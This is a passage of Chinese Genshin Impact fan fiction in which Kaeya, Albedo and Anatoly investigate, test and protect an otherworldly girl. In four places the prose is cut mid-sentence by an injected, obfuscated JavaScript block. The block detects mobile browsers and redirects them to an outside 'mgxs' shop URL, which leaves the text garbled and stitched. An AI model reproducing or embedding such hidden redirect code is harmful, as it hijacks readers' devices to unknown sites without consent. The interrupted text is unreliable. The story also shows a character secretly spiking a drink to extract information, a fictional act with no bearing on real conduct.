“差不多,不就和奶茶差不多的手法嘛。”少女给他调了一杯蒲公英酒。 “奶茶啊……”他端起酒杯细细品味起来,这个词似乎在哪听过,最近在年轻人里特别受欢迎的一种饮品。 他的目光来到货架上花花绿绿的酒:“或许你可以试试大人的滋味。” “别了吧。”她继续给别的客人调制,“我不能喝酒。” “怎么跟迪卢克那家伙一样这么死板,偶尔一杯也没什么大不了的。” “真的不了。” 见她如此,他也不好继续,半是开玩笑绕开了话题,只可惜之后的对话里得不到其他有用的线索——这也无妨,时间还长,不是吗。 等她正式上岗的时候,他几乎天天都去“巡视”一下。 “……喝酒伤身啊,而且每天都来是生怕我擅自离岗吗……” 就连恼怒的时候也特别的有趣,这让他忍不住又逗了几下:“这点程度对蒙德人来讲不过是日常喝水那般,而且……南柯小姐你的技术令人无法自拔,回味无穷,忍不住就来了——诶,这可不是借口,真的。” ┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 凯亚也试着从阿贝多那边寻找线索—— “如你所见,一位病人从外地到这里求医,病症有些复杂,所需的药材或许有些珍贵,甚至有些危险。”阿贝多从笔记本里抬头,抬了下眼镜,镜片后眸色微亮,“而我是她的主治医生。” “或许有别的药方?”凯亚打量着工坊里复杂的布局,又一转,回到对方身上。 他微眯着双眼,语气却无比温和:“感谢凯亚先生的建议,但我想,首席炼金术士的意见是唯一的标准,况且目前对病灶有了准确的治疗方向,随意替换药方,可能会使病情加重,甚至是……不可预测的风险。” 可真是一步都不能退,看来这病症,危险程度不一般啊。凯亚往后靠进椅背里,双腿交叠,微笑道:“那需要别的部门协助吗?” 工坊里的仪器正在有规律的运作,细微的声响配合着挂钟的秒针摆动,空气中弥漫着一丝药剂混合的味道。 “协助么……”阿贝多摘下眼镜揉着鼻梁,思考许久才放下手回答,“目前治疗处于关键阶段,需要绝对稳定的环境,不过,我可以定期向你提交一份病症日常简报,如何?” 看来这种方式不奏效,但没关系,经过这次的谈话他已经得到很多信息了,既然如此,他需要再隐蔽一点,更自然些。 ┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 佳酿节结束之际,酒馆内部员工开了个小小的聚餐,无非是大伙聚在一起吃点东西聊聊天。 凯亚闻着味就过来了,如约看到角落里闷头吃东西的少女,翎羽随着她的动作微微翘起来一点。 越过热闹的氛围与人群对上视线,对方立马开始cos鸵鸟,甚至还往里面缩了缩——他有点想不明白自己有这么可怕的吗。 凯亚勾了勾嘴角,收回视线,径直走向吧台与查尔斯以及周围的人开始随意闲聊,偶尔用余光去观察,直到时机成熟—— 绕着场地,踩着灯光底下的阴影,凯亚慢悠悠变换着位置,略施小计……空荡荡的杯中残留着些许液体,晶莹的水珠顺着杯沿滑落,将木桌浸透,他坐在少女对面,好整以暇撑着脸颊。 只是将刚调制好的……‘果汁’,在她的注意力被别的东西吸引走之后,迅速替换她手中的而已。 “你看来不像是至冬人,也不是蒙德人,你的故乡……是怎样的呢?”灰蓝色的眸子逐渐深邃起来,只容纳了她有些醉意开始点头的身影,他的声音放柔了许多。 面前的少女垂着眼睑似乎要睡着了,嗫嚅了几句,愣是没听清究竟说了什么,他只好倾身凑了过去—— “……凯亚亚是、是……” “是……?” “是坏人…居然问这种……”她撑着额头,垂下的发丝遮住了大部分的脸颊,连头顶的翎羽也软了下去,服帖地垂着,“故乡……家……” “回不去了啊……” 几滴透明的液体“啪嗒”一下砸在桌面,他的十字星瞳孔有一瞬间的怔愣,微微颤抖着。 有一瞬间,周遭的声响似乎都被隔绝开了,只剩桌面上还在啪嗒啪嗒垂落的眼泪,他的嘴角的弧度慢慢落下,伸出去的手有些迟疑,最终试探性轻触她的肩膀。 结果对方软塌塌得像是被抽了骨头似的,往旁边一趴,没了声响。 不受控制的神态,动作,语言…还有翎羽,不像是即兴演出,他没想到居然是这样的景象。 “……看来我们新晋调酒师的酒量,还有待加强啊。”他毫不避讳周遭吃瓜的目光,转而站起身,解下自己的毛领披风,盖在少女的身上。 “凯亚又欺负人家小朋友了?”这是他的同僚好奇的调侃。 “哎呀,这下彻底成了坏人啰,我该想想如何挽回我的形象……” 他承认刚才有一点点的动摇了,有点难办,毕竟是自己整出来的事,怎么说也得负责到底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088063|195400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,起码不要让明天到处都在传「震惊,妙龄少女醉酒后竟对莱艮芬德二少爷做了那样的事」这种标题的报纸。 ┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 好在这里的人或多或少知道他们之间的来往,凯亚迅速稳住场面,对查尔斯稍微交代了一些事之后,他决定先把人安顿好。 结果半路就遇到了最不想遇到人,或者说,以特别狗血的方式上演了—— 隐匿在树底下的愚人众缓慢亮起了猩红的灯带,墨色的风衣很好掩盖了对方的身形,就连银白色的头发也被一顶帽子遮住,那一缕染了些许红色的发梢随风而动。 阿纳托利稳步走过来,却带着有些隐忍的敌意,低哑着声音:“……凯亚先生。” “哟,阿纳托利先生,真是巧遇啊。” 阿纳托利按下所有的不快,极其清晰的说着:“感谢凯亚先生的关照,接下来,请将我的搭档交给我来照顾。” “呵……关照谈不上,只是尽了骑士的职责,确保一位在佳酿节上不慎喝醉的居民安全回家而已。”凯亚微微眯眼,甚至还收紧了怀抱——而早已陷入睡眠的少女被他稳稳抱着,那件毛领披风盖在她身上。 阿纳托利没有别的动作,只是站在原地,面具上的红光稍微弱了那么几分:“凯亚先生的职责,我们心领了,不过,照顾搭档是我的分内之事,不劳烦骑士团费心。” 俩人就这么在街巷里站着,谁都没有动作,树叶飘落又打个转出来走个经典过场。 权衡过后,凯亚低笑一声,慢慢走过去,那十字星瞳孔直直锁定对方的一举一动,他放慢所有动作,每一步都无比的安静,似乎也不想吵到某人。 “也对。分内之事确实不能假手他人,那么——我这个坏人,就不继续碍眼了。” 路灯偶尔闪烁映照的影子打在有些湿滑的地面,阿纳托利在接过人的瞬间,红色的灯柔和了许多,只是一动不动盯着盖在她身上的毛领披风,他感觉额角在突突跳。 当事人……当事人睡得无比安详,自然是完全错过了这出戏。 …… …… 隔天 他看着莫名出现在自己办公桌的袋子——里面是上次盖在少女身上的毛领披风。 “凯亚先生?你问这个啊……不清楚是谁送来的。就门卫换岗时发现在楼下大门口,纸条上印的字说是给你的,检查后发现确实是你的东西,就送过来了。” 可真是,越来越有趣了。 ┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 根据之前收集到的线索,城内关于愚人众的动向……似乎多了一个人,被那些人称为「格拉兹」。而所有有关外貌的传闻都指向那个白发面具男——从不摘下的面具…… 似乎有人循着悬赏令找过来,但都被「格拉兹」警告。 而面前的这个雷萤术士,就是那个见摩拉就从至冬跟到蒙德来的人——凯亚终究还是来迟了一步,阿纳托利已经离开了,只留下受了伤的雷萤术士。 经过一番合理拷问,他探出了想要的消息,将过往的拼图一一摆放至相应的位置,他大致理清完整的脉络了——从第二席底下逃跑的实验体受迪卢克的慷慨相助,又是偷渡又是阿贝多的研究,甚至直接住下来了。 这才是最不合理的位置,当初究竟发生过什么,让那家伙对愚人众的实验体伸出援手? 还有阿纳托利,行动与言语上更倾向于保护……或者说监视那个女孩,至于是谁的指令暂时存疑。 …… …… …… 那天佳酿节的最后一晚的第二天。 醒来之后的你短暂望着天花板出神,自己正安稳躺在自己的被窝里,除了脑子有些混沌,并没有什么异常。 起来,环顾一圈——很好,没丢什么。 洗漱,仔细查看——很好,也没什么戏剧般的痕迹。 但是!如果记忆没有出错你昨晚参加了一个小小的聚会只是自己在角落里吃东西然后……! 然后发生了啥? 完蛋,记忆非常模糊,依稀有几个熟悉的画面在脑中划过,但自己到底是怎么回来的都不知道。 由于太过正常以至于哪哪都不正常,你再一次检查了所有东西,没有丢什么,也没多什么,所有的物品都稳妥留在它应该待在的位置。 莫西莫西,丹特利安睡了吗?昨晚发生了啥? 丹特利安没有回话。 有亿点糟糕,虽说没有损失,但内心总感觉有什么很重要的事暴露了,你决定先正常生活。 「想知道是什么吗?」 “求求你不要突然出声,很吓人的好伐!”你做早餐的手都抖了一下,险些把食材打翻。 「因为你看起来很苦恼呢~」 “那也不是你刚才不回答,然后在这时候吓我一跳的理由!” 「嗯哼?」 乱糟糟的一天从和魔神脑内闲聊开始。 10. 第08章 雪山实验 深夜,蒙德城的某处小巷里 满地都是战斗留下的痕迹,以及微弱的雷元素,一只又一只雷萤的尸体逐渐化为元素微粒,阴影处的雷萤术士捂着挂了彩的手臂,艰难抬起头看向对面的男人—— 阿纳托利将干废的提灯甩到一边,短刀的刃面反射着不远处雷萤术士的脸,寒光掩盖了对方的恐惧。 “如果仍是锲而不舍继续那个悬赏令,下次报废的就不是提灯了。”他甩开血渍,逐步走过去,面具上红色的灯带条此刻在昏暗中异常扎眼。 雷萤术士倚着墙站稳,努力平复心情,声音依旧有些发颤:“……还真是一条好狗啊……只能说不愧是「格拉兹」吗?” 阿纳托利只是停在五米外,淡淡的看着她。 “可你……又能守得了几时?只要「博士」没有撤销悬赏令,就不断会有人找过来,哈哈哈哈……”她低笑着,血液顺着手臂滴滴答答落在脚边却毫不在意,“你可要好好护好那只团雀啊……只要你敢对自己人动手,组织就会判定你为叛徒,到时候连你的那位大人都保不了你——” 她最后猛地咳嗽起来,涌出的鲜血更多了,身子也不断抖着。 “……” “面对无法完成的悬赏却依旧过来……何必呢?”他不再多言,擦干净短刀上的污渍收回刀鞘,不再继续纠缠,闪身离开了那个地方。 那个雷萤术士像是彻底解脱那般,直接跌坐在地。 ┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 常年处在严寒环境,连草木都无法点燃,山顶终日笼罩着云雾与气流——龙脊雪山。不知为何你莫名有种回了家的感觉?不对!怕不是开局落在至冬,在那里生活过几年之后脑子被冻傻了吧? 你坐在石块上微微喘气,看着周围一地的狼藉——你们在进行实验,测试精神力透支的那个阈值在哪,毕竟你的底牌,卷轴可不是随便使用的,一旦超过那个值就会透支昏迷,并且加剧吞噬。 这个结局你一直都知道的。 “之前用普通魔物的测试看起来效果不错,但还是不够,或许可以试试大雪猪王,或者下面的遗迹重机,说不定就能真正测出你的极限在哪……”阿贝多将最后的数据记录好,放下文件夹板看向你,顺手将你拉起来,“走吧,趁状态还在,直接去那里吧……” 阿贝多感到一股强烈的视线,颇有些无奈转身回望过去:“阿纳托利先生,我知道你可能有意见,但这或许是顺利制作出抑制剂的关键数据——” 白毛面具男不语,只是一味的瞪人。 “搭档,这不还有你吗……” “等等,为了保证数据准确,接下来你不能协作——南柯小姐,必须由你一人面对。” “???” “放心,还有我们。”阿贝多对你笑了笑,随后开始走在跟前开始带路,“既然没问题,那我们就走吧。” 好歹你也在愚人众生活过几年,基本的战斗意识还是有的,区区冻鲜肉! 在不远处的高地上,阿纳托利架好枪,目光不断追随着场地那边的身影——逃跑(奔走)、被气流掀飞(闪避)、死活找不到弱点(周旋)……即使速度不快,也毫无章法,却依然在用自己的方式去对付敌人。 “你很担心她?”阿贝多来到他旁边不远处,视线在他身上逗留了片刻后,又投向眼前的场地,“她叫你‘搭档’……你们以前经常这样吗?” 阿纳托利只是瞥了他一眼,又将注意力放在场地上——那里的元素反应炸得眼花缭乱的,让他差点丢失目标。 “以之前协作的默契度,没有两三年的时间是培养不起来的,更何况你们以前还是愚人众的人……”阿贝多见他没回话,当是默认了。 场地由于大雪猪王的冲锋,扬起了巨量的雪尘,一时间难以分辨情况。 “以你的经验来说,「博士」放任她离开至冬,这也是实验的一环吗?” “……你想说什么?”阿纳托利依旧没抬头,语气平淡。 “放松……我只是很好奇,南柯小姐实在是太特殊了,魔神残渣的人性意识碎片、丹特利安、共生、吞噬、卷轴……我想身为搭档的你肯定知道——”阿贝多顿了顿,“这是在打造‘神’?还是‘兵器’?” “我无法妄下定论,阿贝多先生,我不过是一介护卫。”他面具上的灯带条暗淡了几分,视线始终没有挪开瞄准镜。 “这也只是推测而已。”阿贝多没有继续追问,他心里已经猜了个七八分,加上之前的观察,以及凯亚那边提供的线索——这个戴面具的看起来冰冷冷的,但确实对蒙德没什么恶意。 逃离愚人众的实验体,以及不知何种目的的“搭档”,看样子愚人众确实是在计划什么,而这,只是其中一个执行官的小小实验—— 一场不小的动静将两人的思绪拉了回来,在看到大雪猪王轰然倒下时,阿纳托利直接纵身一跃,急忙下去跑到你身边,及时接住摇摇欲坠的身躯…… “好像摸到那个阈值了……”你摇摇头,试图站稳,感觉眼冒金星的,眼皮开始打架。 “别说话了……”他直接将你拦腰抱起准备回营地。 随后赶来的阿贝多伸手挡住对方的去路:“等一下,在离开之前,我需要记录她当下的状况。” 阿纳托利微不可察皱了皱眉,最终还是蹲下来让他先检查一番。 ┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 一天后,半山腰的营地 “下次,别再过度使用卷轴了,别太依赖它。” 在你昏迷醒来吃完东西后,阿贝多突然来了这么一句——老实说,你头一次见到他对你这么严肃。 “我、我知道啊……”你脑子还是有些懵,你当然知道这个,这半年来你使用的次数明显减少了,而且距离上次透支……应该是半年前,「散兵」把你丢进结界那次——那次不得不打了一场,最后把他的意识拖进「画境」才得以喘息…… 虽然那时候「散兵」看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088064|195400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来更生气了——也对,回忆自己被“背叛”的经历,这时期的他只会更加愤怒。 阿贝多看了眼不远处的阿纳托利,叹了口气正色道:“我知道卷轴的作用很厉害,几乎方便了所有事情——只是,你要知道……” “它像炼金术一样,需要用等价的事物作为交换,你如今的状况就是这样——累计到一定程度就精神力透支,然后昏迷,这些都能加剧魔神残渣的……”阿贝多犹豫了一下,还是选择了另一个词,“侵蚀。” 这是在担心你吗?!阿贝多居然在关心你?!你顿时有些感动,疯狂小鸡啄米式点头。 他见你如此乖巧的模样,稍微避开了你的视线:“抱歉,我也不是在说教什么,只是希望你能清楚自己的身体状况。” “阿贝多老师说的是,放心吧,我有自知之明的。”你怕他不信,还顺便拍了拍自己的胸口。 “那就好——今天就先不进行实验了,毕竟你才刚醒来。” “不用太在意我,有什么需要我的配合尽管说,而且之前做的1.6.3版本的抑制剂效果非常好!”你也毫不吝啬夸赞着。 不过你醒来的时间确实有些不太对,都已经是第二天的傍晚了,你在外面到处摸传送锚点后也很快到了夜晚,阿纳托利自己去了附近排查安全隐患,阿贝多则在忙活自己的实验。 你只能百般无聊的依照记忆到处闲逛,顺便和体内的祂聊天——“你能感受得到吗?下面的杜林?” 「杜林?这个巨龙残骸?有种很不妙的气息,你最好别靠这么近。」 “应该没什么大问题吧?”你裹紧了外套,坐在悬崖边借着月色张望山谷下巨大骸骨,隐约还有微弱的红光在岩缝间闪烁着——是绯红玉髓吧? 「不得不说,你的记忆里,这个世界的存在还真是……荒诞。」 “是你自己太好奇读了我的记忆,这可怨不得谁。” 「但了解之后,我倒是想知道,你要怎么做,只是看剧情?这也太无趣了吧……」 “可这对我来说,亲身体验游戏里的事,简直不要太酷了好嘛!” 「目光短浅……」祂轻轻叹口气,随后发觉什么似的,默默提醒着,「那什么,有人找上来了。」 在祂刚提醒完过了好久,身后确实出现了靴子踩在雪地的嘎吱声——怎么说呢,这个雷达真好用。 「……」 你继续凝视面前漆黑的夜空,微微放空了思绪。 “这么晚还在这里做什么?” 那个清冷的声音如期而至,你转头对上他的眸子,蓝绿色眼睛在夜晚里分外明亮——太好看了,你忍不住多看了几眼,迅速收敛表情说道:“睡太久了,现在有些睡不着。” 阿贝多无声笑了笑,干脆坐到你旁边一同看起风景来,你们都没有要继续聊天的意思。 “阿贝多……” “嗯。” “我其实不属于这个世界。”你最终还是看向他说了出来。 11. 第09章 唯一解 你选择把事实告诉阿贝多。 他微微一愣,随即温和的笑起来:“嗯,我知道。” 他早就有猜测了——热衷于旁人习以为常的古代装置(传送锚点),偶尔出现的奇怪词汇,对魔神残渣——就算是人性意识碎片,也没有特别害怕的情绪。 “你究竟是怎么想呢?”你也对他的反应了然,但当初接下你的请求时是怎么想的呢?这个人携带魔神残渣,必然是不可信的,就算怀着研究的心应下,那也会时刻警惕。 他垂眸思索片刻,抬眼继续说道:“我并不在意这些。” “那你在意什么?”你很是随意问道。 阿贝多撑着手臂,往你这边倾身靠近了些,直视你的眼睛一字一顿说着:“在意你的一切。” 你点点头,感觉哪里不对劲——科研人员这么说,应该只是单纯为了研究欲? “……如果是别人这么说的话很容易误会的啊。”你扭过头不再看他,有点后悔刚才的追问了。 “这样么…” “就当你执着于未知的知识好了。”你继续盯着远处的风景,你感觉自己的脸有些发烫。 “嗯……可以这么说。”他坐直身子,收回目光看向远处的骸骨,“毕竟炼金术士,总会执着于未知。” 夜晚雪山的风让你快速降温,无视意识海里祂的调侃,努力维持快要收不住的嘴角。 “那么,告诉我,你是如何来到这个世界的?” “这个就不知道了,眼一闭一睁,醒来就在至冬了。”你有些苦恼,都不知道怎么的就莫名其妙穿越了。 “嗯,那你在这里停留多久了?”他若有所思点点头。 “从醒来开始算的话……大概三年半这样。”不过这么回忆起来,有些不可思议,居然在至冬活了这么久,来到蒙德不过才几个月。 “三年半啊……”他喃喃自语,突然希望眼前的少女能多停留一些,毕竟有很多问题没研究透彻,于是忍不住开口询问,“那你有想过回到原本的世界吗?” “也只是想想,压根不知道怎么行动,不过现在我也不着急了,等抑制剂制作出来,我想旅行四处看看。” 他闻言,用极低声音说:“嗯,四处走走也不错……” 但是有哪里不对劲呢? “那……最开始说信任我,这是为什么?” 如果只是从他人口中得知蒙德有个首席炼金术士,然后就千里迢迢从至冬来到这里……仅仅是相信有能力做到? 抑制剂对你来说是一种保命手段,这简直就是在还未见面之前就把性命交付到一个陌生人手里——这不符合常理。 “我……”你回过头看到他有些复杂的神情,“因为在穿越之前我是曾了解过这个世界,也知道很多事情……” 似乎连风都停了,云层遮挡住月光,周围瞬间暗了下去,远处的景色愈发混沌浓稠。 “……你的意思是,在你来到提瓦特之前,关于这里的一切——历史、人物、甚至……某些尚未发生的轨迹,对你而言,就已经是已知的信息了?” “嗯,差不多……”不愧是他,你才说了几个字他就推测出这么多信息,你也只能一味的回应。 “所以……你口中的信任,并非源于对我个人品质和能力的判断……而是基于你已知的,关于我的某种设定?” 这是什么送命题吗?你在思考如何回答更为准确,这不仅仅是因那些设定,更多的是他本人。 阿贝多伸过来的手又缓缓垂下:“在你所知道的那个故事里,‘阿贝多’究竟是怎样的存在?” “阿贝多就是阿贝多啊……”你最终还是给出这个回答。 时间在沉默间缓慢拉长,植被摇晃的树影似乎都缓慢起来,云层又被吹散,月光重新洒下来,视野又明亮了一分。 “你……”他停顿住了,闭眼仔细感受了一下——温度很低、风刮得脸颊有些僵硬、地上的雪很柔软、面前的少女也是真实存在的,声音很清晰。 老实说,看到他欲言又止的模样,你很担心他会不会就此停止你们之间的委托。 “……阿贝多就是阿贝多?”他忽然笑出声,睁开眼定定看着你,“意料之外,却又情理之中的答案,仅仅是‘我’……就值得托付性命吗?” 你感觉高智商人类的话语有些难懂:“正因为……就是你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088065|195400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊。” 阿贝多的瞳孔微缩,张了张口,最终什么也没说出来,未尽的话语和呼出的白雾一同融进风中。 很多事在他眼里已经非常明朗了,但还有一些细节需要确认。 他沉默许久才睁开双眸,再次开口:“那你会干涉吗,比如改变命运?” 你的心还在忐忑呢,突然听到这个问题,一时间觉得有些好笑,指了指自己:“我?我又不是旅行者,能活着就不错了” “这样认为的吗…”他嚼着你的说辞,缓缓开口,“不过,旅行者是谁?” 遭了,剧透了! 他看你呆住的样子无奈笑出声,随后伸出手在你眼前晃了晃。 “啊啊,虽然剧透也没什么,但为了保持故事的新鲜,我想还是不说出来更好……总之,未来会出现一个非常厉害的人,他之后的旅行,最终会改变提瓦特既定的命运。”你回过神,既然都说到这里了,那干脆别再遮遮掩掩了,直接破罐子摔破吧! “改变提瓦特既定命运的旅行者……”他低声重复,随后抬头看向你的脸,“你呢?你知道这里的一切?又扮演了什么样的角色……” “我去抱主角的大腿。”你发出了咸鱼的声音。 “……是个很好的方式。” 他看着你思考着什么,伸手替你整理了一下围巾:“那么,在那位旅行者到来之前,我就是你的最优解?” 你点头:“对,严格来说是这样。” 他在你点头的时候又凑近了几分,缓缓开口:“那么,你究竟是相信设定里的阿贝多?还是面前的这个?” 听起来是个很严肃的问题,就像伴侣和家人掉进水里,问你先救哪个……类似的问题。 “那还用问?肯定是面前的这个人啊。”你没挪开视线,透过他的眼睛看着自己的倒影。 “……我明白了。”他收回手稍微退开一些,似乎放松舒了口气,又再次缓慢向你伸出手邀请,似乎有雪花开始飘落,落在他的手套表面更能看清晶体的结构了,“既然如此,这份委托就不仅仅是还原抑制剂了,让我成为你的最优解吧。” 甚至是唯一解。他在心里这么念叨着。 12. 第10章 被侵蚀的双目 得知你不属于提瓦特之后,第二天阿贝多拉着你做了一整套的体检,像是在记录什么新物种一样的仔细。 “嗯……看样子,无论是生理上还是心理方面,你与这里的人无异。”他拿着表格记录各项数值,略微皱眉,“除了这里是因为当初植入魔神残渣变异的……” “这不是一眼就看出来了吗?”你坐在那里任由他折腾,视线又不自觉落在他脖子那里的星星——嘿嘿,真好看。 “咳……既然是另一个世界,那要设想的有很多——比如你可以用意念去攻击魔物,或者你的意识海可以收容现实物品。”他放开了你,转而回到桌边拿起什么药剂递给了你,目光灼灼。 “怎么可能……”你抬眼看向他手中颜色有些混乱的液体,“这是什么,抑制剂还能有不同的颜色?” “如果你想也不是不可以——不过,这不是抑制剂,我只是想知道,能够操纵驱使七元素卷轴的人,对元素力的适应能力。”他轻轻摇晃试剂,液体内似乎闪烁着微光。 你还是接过来闻了闻,这一口下去是难以言喻的口感,像是把所有味道全部混合在一起,什么都有的大杂烩。 “这什么啊……”你有些难以消化这些味道的冲击,扶着桌子来到一边一屁股坐在椅子上,撑在桌沿一言难尽。 “七种元素力混合起来的浓缩药剂,放心,比例调整过了,最多可能会……拉肚子。”他看了眼你紧皱的眉头,略微思考,从抽屉里取出一颗糖递给你,“缓解一下吧。” 合着刚才吃了一口所有的元素反应?你慢吞吞接过来打开包装,捏在指尖打量——是经典的日落果口味的硬糖。 “能够承受魔神残渣还没什么显著的后遗症,光是这一点,无论是□□还是精神上,就与提瓦特的人类不一样了。”他收回手,拿过一旁的笔记本蹲下来观察你面部的反应,“现在,请仔细体会一下,将你的感受说给我听。” “好的,阿贝多老师…”你闭上眼试图去感受。 “这个称呼……”蓝绿色的瞳仁微微闪烁,他垂下眼睑,“我想可以的话,你可以直接称呼我的名字就好,并不是不喜欢,只是……你我之间是平辈,按照人类之间的习惯,叫名字更适合。” 不行不行,你担不起,人家是大佬,还是不知道比你大多少岁的的天才,你怎么敢……而且加上‘老师’俩字很好听的。 “可是……我觉得加上老师这两个字很好听,阿贝多老师、阿老师,或者是贝老师。”你小心翼翼掀开眼皮去看他。 居然是主观感受吗?”他无奈轻笑一声,略微摇头,又在纸上写了什么,“看来这个称呼在你的认知里,不仅仅是代表着身份,还可以是别的……那随你喜欢吧。” 他细细记录你的状态,看着完全没有变化的记录,他先是微微睁大了眼,很快,他调整了一下呼吸,认真注视着你:“南柯小姐,你能感受到元素力吗?” 你茫然摇头:“这种玄乎的东西我怎么可能会有感觉啊。” “对你而言,元素力是玄乎的?不存在的?”他踮了踮脚抬高身体,凑过来近距离对视,有些抑制不住上扬的嘴角,他忽然伸手握住你的手,掌心贴合,似乎有什么微光在掌间散发,逐渐刺眼。 仿佛一枚真理力量引爆—— “就像你说的什么意念攻击、意识海储物……跟小说里的设定差不多。”你下意识挪开视线,飘到紧紧相握的手,欲要抽回,哎呀,老婆别这样,怪冒昧的…… “设定?”感觉到你的动作,他立刻松开手,元素力骤然卸去,岩元素碎成微粒消散,“在你那个世界里,有神之眼吗?” “没有。”你摇摇头。 “有七神吗?” “没有。” “有魔物吗?” “没有。” 阿贝多沉默了,虽然说这些东西在提瓦特离普通人是很远,又很近,但在某个世界里完全没有这些的话,那确实是一副完全不同的景象。 或许在你的世界,根本就不需要考虑这些事,难怪他观察到的有些违和,就比如对待神明与超自然现象的态度。 “或许,抑制剂并不是压制魔神残渣,共生……”他像是发现什么现象那般开始喃喃自语,起身去到一旁开始记录自己的推测,彻底陷入一种忘我的状态。 你在原地听得有些跟不上思路,只能时不时瞄一眼不再出声。 ┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 最主要的实验你已经配合完成,剩下的是等阿贝多的后续的改良,趁着空闲,你跑到眠龙谷里获得了一枚汲取了力量的龙牙! 算是感谢阿贝多这段时间照顾,他大概研究过,但在游戏里获取流程这么复杂,放在现实应该更难。在你还没回到营地的时候,只见阿纳托利站在外边,察觉到你之后他快速走过来,一直走到你跟前才停下。 你看他的架势唬得微微一惊,下意识后退一步却被他按住肩膀,看着他面具上暗淡的红光,满是疑惑:“你——” “阿纳托利先生,有关深渊的事不能……”全副武装的阿贝多从营地走出来,在见到你的时候淡定闭眼,睁眼,改口,“我是说,事关元素亲和力……” “我听到了,什么深渊。”你看着身穿防护服的阿贝多,又抬头看了眼面前没什么表情但非常焦急的搭档,皱了皱眉,“阿贝多老师你现在脱防护服也来不及的,当我眼瞎啊!” 已经脱到一半的阿贝多嘴角扯了扯,无奈摇头:“这样啊,果然瞒不住呢……” 他们俩被你按着回到营地里坐好,阿贝多叹口气,将一个烧杯放在你面前的桌子上——底部沉淀了大概只有小手指的指甲盖大小的黑紫色灰烬。 “我先说目的——阿纳托利身上带着一丝极其微弱的深渊气息,我要分析根源。”阿贝多的神情有些严肃,目光在你们俩之间来回移动,“南柯,你知道这意味着什么。” 你疑惑看向阿纳托利:“所以你身上为什么会有深渊的气息?” 他坐在原位迟疑了好久,这才憋出声:“……大概是很久之前,一次下潜深渊时不小心沾上的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088066|195400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “无意中沾上持续这么久?”阿贝多紧紧盯着他的面具,“我想知道——你为什么从不摘下面具?” 下潜深渊?记忆里,你以前没和他执行过与之相关的任务,鉴于你完全没接触过,那应该是发生在成为搭档之前。 “我的眼睛……曾被深渊侵蚀过,现在只能佩戴特制的面具才能看得真实。”他下意识摸了摸自己的面具。 这就是……真相吗? “抱歉……”阿贝多垂下眼帘,轻轻叹气,随后注视着烧杯里的灰烬,“那更需要检查一番了,请放心,只是简单的外部观察和检测。” 阿纳托利衡量了好久,最后看向你,这才点点头:“可以,但面具不能摘。” 在你的协助下,阿贝多用他自制的炼金道具扫描了他的眼部……太好了,是全息影像,你们有救了! 阿纳托利手指微动,寒光一闪,一柄短刀直接插在阿贝多面前的桌子上,距离那个炼金道具只有一厘米的空隙。 你被这动静吓了一跳,差点蹦出国粹,试图安抚:“你…冷静点,搭档……” “这是做什么?”阿贝多也停下了动作,看了眼刃面反射的影像,“担心我会把这些信息上报给骑士团?” 他没有其他动作,只是微微侧头冷哼出声:“这些资料止步于龙脊雪山。” “我得视安全程度才能做决定。”阿贝多眨了眨眼,“不过以贵国的技术水平,我想这点浓度,恐怕还没南柯体内的危险。” 怎么又cue到你了??? “不过我会根据你的情况制作一份治疗方案,起码以后接触到和深渊有关的事物,不会有意外。” 阿纳托利沉默不语,最终“咔哒”一声收刀入鞘。 ┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 这些天的实验的流程是……测试精神力阈值、卷轴的本质解析以及运作原理、绘制的精细度是否影响攻击威力、异世之人各项测试、论过量元素在异世之人体内的反应,还有翎羽在不同情绪下的形态…… 哦,还有深渊对视觉效果的影响程度。 